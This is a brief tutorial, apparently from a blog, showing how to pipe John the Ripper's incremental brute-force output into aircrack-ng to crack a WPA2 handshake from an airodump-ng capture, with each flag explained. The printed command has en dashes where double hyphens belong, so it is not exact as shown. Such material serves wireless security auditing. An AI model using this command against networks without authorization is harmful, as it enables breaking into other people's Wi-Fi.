To apply John The Ripper to a .cap file that was produced by airodump-ng the following line will help:
./john –incremental:alpha –stdout | aircrack-ng -a 2 -b 00:11:22:33:44:55 -w – /root/wpa2*.cap
- –incremental:alpha – this means it will use it’s algorithm and only attack «alphanumeric» cases. alpha will use only letters; digits will use only numbers; and all will use everything from letters, numbers, and special characters.
- –stdout – technically sends the output of John The Ripper to the stdout
- | aircrack-ng -a 2 -b 00:11:22:33:44:55 – the | has aircrack-ng receive the output from the stdout (well input) the -a 2 tells aircrack to only attack using WPA/2; -b 00:11:22:33:44:55 – is the mac address of the AP you are attacking
- -w tricks aircrack-ng into thinking the output from John The Ripper is a dictionary
- – /root/wpa2*.cap are the .cap files that contain the handshake.
In simpler terms, John The Ripper makes a dictionary on the fly that really doesn’t exist anywhere as a single file but only in memory and as it is created it is sent over to aircrack-ng and then discarded.
